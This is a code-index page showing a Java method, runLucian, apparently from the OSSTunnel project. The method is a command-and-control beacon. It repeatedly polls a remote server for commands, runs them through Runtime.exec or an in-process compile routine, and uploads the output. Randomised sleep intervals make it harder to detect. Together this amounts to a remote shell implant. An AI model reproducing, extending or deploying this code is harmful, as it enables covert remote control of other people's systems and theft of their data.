MCPcopy Create free account
hub / github.com/Ramos-dev/OSSTunnel / runLucian

Method runLucian

client/src/main/java/Lucian.java:109–147  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

107 }
108
109 private static void runLucian() {
110 try {
111
112 String last = "";
113 for (; ; ) {
114
115
116 if (lucian) {
117 lucian = false;
118 send("", "", "PUT");
119 }
120 String cmdline = send("", "", "HEAD");
121 if (cmdline == null) {
122 continue;
123 }
124 if ((!"".equals(cmdline)) && (!last.equals(cmdline))) {
125 try {
126
127 if (cmdline.startsWith("#")) {
128 String res = gccjvm(cmdline.substring(1, cmdline.length()));
129 send(res, cmdline, "PUT");
130
131 } else {
132 Scanner s = new Scanner(Runtime.getRuntime().exec(cmdline).getInputStream()).useDelimiter(
133 "\\A");
134 send(s.hasNext() ? s.next() : "", cmdline, "PUT");
135 }
136
137 } catch (Exception e) {
138 send(e.getLocalizedMessage(), cmdline, "PUT");
139 }
140 last = cmdline;
141 }
142 Thread.sleep(new Random().nextInt(10) * 1 * 1000);
143 }
144 } catch (Exception e) {
145 e.printStackTrace();
146 }
147 }
148
149 private static String send(String obj, String cmdline, String method) {
150 BufferedReader bf = null;

Callers 1

lucianMethod · 0.95

Calls 2

sendMethod · 0.95
gccjvmMethod · 0.95

Tested by

no test coverage detected